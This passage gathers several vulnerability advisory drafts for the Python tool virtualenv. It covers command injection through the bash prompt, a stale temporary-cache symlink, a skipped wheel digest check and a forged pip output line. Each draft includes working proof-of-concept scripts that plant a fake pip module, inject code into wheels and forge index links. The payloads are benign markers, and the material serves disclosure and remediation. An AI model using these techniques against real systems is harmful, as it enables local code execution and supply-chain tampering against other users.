        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
        unset _VIRTUAL_PROMPT
    fi
fi

Two separate mistakes combine:

1. A runtime shell option is treated as a constant. shopt -u promptvars at the moment of source does not bind the shell forever: shopt -s promptvars and set -o posix both re-enable PS1 expansion in the same shell. The code itself tests shopt -qo posix because posix mode expands the prompt regardless of promptvars, which shows the expansion state is not fixed by the activation.
2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping $ and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.

The rendered prompt shows the regression directly:

21.14.8   PS1 = (x\\$(id > /tmp/ve-pwn)y)       <- escaped, inert
21.14.9   PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value
21.14.12  PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value

Relevant commit: 5f48d711 "fix(bash): preserve literal prompts in supported shells (#3418)", which removed the unconditional $/backtick escaping from the bash path. Advisory for that change: GHSA-6w3r-xr62-4xcp.

Proof of concept

Non-destructive payload: it runs id and writes the output to a file.

python -m virtualenv --no-seed --no-periodic-update --activators bash \
    --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc <<'EOF'
shopt -u promptvars
. /tmp/venv-demo/bin/activate
shopt -s promptvars
EOF

# the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null

cat /tmp/ve-pwn

Observed on 21.14.12:

$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)

The prompt printed as (xy). The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.

Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:

| After . bin/activate (activated with shopt -u promptvars) | 21.14.8 | 21.14.9 | 21.14.12 | | --- | --- | --- | --- | | shopt -s promptvars | inert | executes | executes | | set -o posix | inert | executes | executes | | export PS1, then start an interactive child bash (its promptvars defaults to on) | inert | executes | executes | | control: activation with default options | inert | inert | inert | | control: activation with set -o posix already on | inert | inert | inert |

The third trigger needs no explicit option change: the poisoned PS1 is inherited and the child bash expands it on its first prompt.

shopt -u promptvars is a documented way to make an expensive bash prompt cheap and appears in ~/.bashrc files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in PS1.

Impact

Command execution as the user who sources bin/activate, from a value the user may not have written (project metadata or tool config reaching --prompt). The value is also persisted in pyvenv.cfg and in the generated script, so it survives the activation that created it and fires later, in a different shell session, on the first prompt redraw with expansion enabled. No privilege elevation beyond the activating user.

Severity: high, matching GHSA-5vjq-rrrf-7h2q for the same class of prompt-expansion command injection reached by toggling a shell option after activation. If you consider the promptvars state a caller-controlled condition rather than a shell condition, this is medium; the fix is the same either way.

Versions tested

virtualenv 21.14.12 and 21.14.9 (affected), virtualenv 21.14.8 (unaffected control); CPython 3.14.7; Linux 6.x (WSL2); bash 5.1.16(1)-release. --prompt handling is platform independent; zsh/fish/csh/nu/PowerShell activators were not part of this report.

Known mitigation

For a user: activate with promptvars left at its default, or set VIRTUAL_ENV_DISABLE_PROMPT=1 before activating, which skips the whole prompt block. Do not pass an untrusted value to --prompt.

Fix in the activator: escape $ and the backtick for bash as well, in both branches, with a single backslash ($ -> \$, backtick -> \` , \ -> \\). Verified on bash 5.1.16 that a PS1 built that way is inert with promptvars on, with promptvars off, and with promptvars off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten.

    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"

For the tests, tests/unit/activation/test_bash.py::test_bash_prompt_options already parametrises ("before", "after", "expected") and covers before="shopt -u promptvars" with after="". The missing axis is the transition: ("shopt -u promptvars", "shopt -s promptvars", ...) and ("shopt -u promptvars", "set -o posix", ...), with the existing PWNED check asserting no file was created.

Latest release

• [x] The problem reproduces on the latest virtualenv release.

Summary

The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of symlink_app_data can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls.

Anthropic's OSS Scanner reported this as ANT-2026-ZOE2GEPC in virtualenv-20261015-005, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced.

Affected area

Integrity of app-data references after temporary cache cleanup.

Attacker-controlled input

Symlink seeding must be enabled through VIRTUALENV_SYMLINK_APP_DATA or symlink_app_data in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references.

The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults.

Affected code

The relevant 21.14.8 source is in symlink seeder, temporary cache cleanup.

Mechanism

When app-data setup falls back to a temporary directory, the command-line --symlink-app-data action is disabled. A value supplied by VIRTUALENV_SYMLINK_APP_DATA or virtualenv.ini can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links site-packages/pip into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem.

Reproduction and evidence

The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to /tmp. The control used the command-line flag and received a real pip directory. With VIRTUALENV_SYMLINK_APP_DATA=1, the new environment instead contained a pip link into a deleted /tmp/tmpXXXXXXXX directory. A second uid recreated the target path and placed a fake pip/__init__.py there. When the owner ran venv/bin/pip --version, that module created a marker inside the owner's environment and printed this is not pip.

The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. Public fix PR #3437 copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant V as virtualenv seeder
    participant T as Temporary app-data in /tmp
    participant E as site-packages/pip link
    participant A as Other local account
    U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home
    V->>T: create transient cache
    V->>E: link pip to cache path
    V->>T: delete cache at session exit
    A->>T: reclaim old name and plant fake pip
    U->>E: run bin/pip --version
    E->>T: import fake pip through stale link
    T-->>U: attacker's code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-ZOE2GEPC. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import pwd
import shutil
import subprocess
from pathlib import Path

owner = pwd.getpwnam("nobody")  # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one
other_user_uid = 4242
project = Path("/srv/project")
other_user_files = Path("/var/tmp/other-user")

# set up: a project folder only the owner can write, and the other user's two files in a folder of their own
shutil.rmtree(project, ignore_errors=True)
shutil.rmtree(other_user_files, ignore_errors=True)
project.mkdir(mode=0o755)
os.chown(project, owner.pw_uid, owner.pw_gid)
shutil.copytree("/tmp/repro.d", other_user_files)
subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True)

as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project}
as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"}
owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]}
virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]

# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied
subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner)
control_pip = next(project.glob("control/lib/python*/site-packages/pip"))
print(f"CONTROL  --symlink-app-data:            {control_pip} is a symlink: {control_pip.is_symlink()}")

# trigger: the same setting through the environment variable
symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"}
subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner)
venv_pip = next(project.glob("venv/lib/python*/site-packages/pip"))
print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}")

# attack: the other user re-creates the deleted folder the link points into
if venv_pip.is_symlink():
    print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}")
    subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user)

# the owner uses their environment
pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner)
print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}")

# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write
venv_stat = os.stat(project / "venv")
print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}")
proof = project / "venv/attacker-code-ran"
print(f"OBSERVED {proof} exists: {proof.exists()}")
if proof.exists():
    print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}")
print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK")

repro.d/fake_pip.py

# planted as pip/__init__.py: runs in whichever process imports pip
import os
import sys

with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof:
    proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}")

sys.exit("this is not pip")

repro.d/plant_fake_pip.py

import os
import shutil
import sys
from pathlib import Path

dangling_link = sys.argv[1]  # the environment is world-readable, so anyone can read where its links go
deleted_folder = Path(os.readlink(dangling_link))

# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take
deleted_folder.mkdir(parents=True)
shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py")

Impact

Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition.

Severity: low.

Versions tested

The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.

The reporter identifies 20.0.6 as the first affected release. Commit c3453b6c, first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.

The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup.

Proposed fix: PR #3437.

Known mitigation

The proposed fix is in public PR #3437.

The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding.

Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.

Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Wheel selection by the pip seeder when downloads are enabled.

Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

Affected code

The relevant 21.14.8 source is in pip seeder.

Mechanism

With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

Reproduction and evidence

The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

Attack sequence

sequenceDiagram
    participant I as Index in pip.conf
    participant V as virtualenv PipInvoke
    participant P as pip install
    participant E as Seeded environment
    I->>V: serve modified pip wheel
    V->>V: get_wheel(download=False)
    V->>P: install with --download permitting index lookup
    P->>I: select same-version index wheel
    I->>E: modified pip installed without virtualenv digest check
    E->>E: later pip invocation runs added code
    Note over V,E: Default app-data seeder rejects the same digest

Reproducer files

The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile

from virtualenv.seed.wheels.embed import get_embed_wheel

companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
    json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)

# attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")

# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
    pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]

# control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
    [*virtualenv, "--download", f"{work}/env-default"],
    env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))

# trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
    [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
    env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
print(pip_seeder.stdout)
if pip_seeder.returncode == 0:
    env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
    print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")

# check: compare env-pip's pip/__init__.py with the one in each wheel
with zipfile.ZipFile(bundled.path) as wheel:
    bundled_init = wheel.read("pip/__init__.py")
with zipfile.ZipFile(mirror_wheel) as wheel:
    mirror_init = wheel.read("pip/__init__.py")
installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
installed_init = open(installed[0], "rb").read() if installed else b""
refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
print(f"default seeder refused the mirror's wheel for its digest: {refused}")
print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")

repro.d/make_mirror.py

#!/usr/bin/env python3
# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
import os
import sys
import zipfile

genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
    for entry in genuine.infolist():
        data = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            data += payload.encode()
        served.writestr(entry, data)

# PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
with open(f"{mirror}/pip/index.html", "w") as page:
    page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')

repro.d/virtualenv_offline.py

#!/usr/bin/env python3
# usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
import sys

from virtualenv.__main__ import run_with_catch
from virtualenv.seed.wheels import periodic_update

pypi_org = sys.argv[1]


def pypi_json_api(url, context=None):
    return open(url.replace("https://pypi.org", pypi_org), "rb")


periodic_update.urlopen = pypi_json_api
run_with_catch(sys.argv[2:])

Impact

The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

Fix: PR #3430.

Known mitigation

On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.

Summary

Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.

Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Download selection and promotion into the reusable wheel cache.

Attacker-controlled input

A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.

Affected code

The relevant 21.14.8 source is in wheel download and digest check.

Mechanism

download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again.

Reproduction and evidence

The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.

The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. PR #3430 downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance.

Attack sequence

sequenceDiagram
    participant I as Configured index
    participant P as pip download
    participant C as wheel/house cache
    participant V as virtualenv digest check
    participant N as New environment
    I->>P: modified wheel and forged Saved line
    P->>C: write modified wheel directly
    P-->>V: stdout names genuine bundled wheel
    V->>V: hash genuine wheel and accept
    V->>C: record modified wheel for reuse
    C->>N: seed modified pip without rehash
    Note over P,C: Even a rejected wheel can remain in the cache

Reproducer files

The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path

companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}"  # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index"  # the line index_serves_modified_pip.py adds to pip/__init__.py


def user_upgrades_seed_wheels_and_creates_env():
    # each case starts from an empty app-data
    shutil.rmtree(app_data, ignore_errors=True)
    shutil.rmtree(home / "env", ignore_errors=True)
    upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
    subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
    pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
    refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
    logged = []
    if update_log_of_pip.exists():  # a failed update writes no log
        logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
    return refusal, logged, pip_version.stdout.splitlines()


# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
    [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
    stdout=subprocess.PIPE,
    stderr=subprocess.DEVNULL,
    text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start"  # printed once bound

# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL  modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL  modified pip: update log of pip lists", logged)
print("CONTROL  modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)

# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)

# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")

repro.d/index_forges_saved_line.py

"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.

usage: index_forges_saved_line.py <index_dir>

Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""

import shutil
import sys
from pathlib import Path

# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"

index_dir = Path(sys.argv[1])

# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")

# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
    page.write(
        '<a href="/files/pip-100.0-py3-none-any.whl"'
        f' data-requires-python="&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;">pip-100.0-py3-none-any.whl</a>\n'
    )

repro.d/index_serves_modified_pip.py

"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.

usage: index_serves_modified_pip.py <index_dir>

pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""

import hashlib
import io
import sys
import zipfile
from pathlib import Path

ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'

index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"

genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
    for entry in genuine.infolist():
        content = genuine.read(entry)
        if entry.filename == "pip/__init__.py":
            content += ADDED_CODE
        modified.writestr(entry, content)

# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
    f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)

repro.d/pip.conf

[global]
index-url = http://127.0.0.1:8099/simple

repro.d/pypi_json_and_mirror.py

"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.

usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>

The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""

import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path

from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256

pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)

for project in ("pip", "setuptools"):
    releases, links = {}, []
    for filename, sha256 in BUNDLE_SHA256.items():
        name, version = filename.split("-")[:2]
        if name != project:
            continue
        shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
        releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
            metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
        requires_python = escape(metadata["Requires-Python"])
        links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
    (pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
    (index_dir / "simple" / project).mkdir(parents=True)
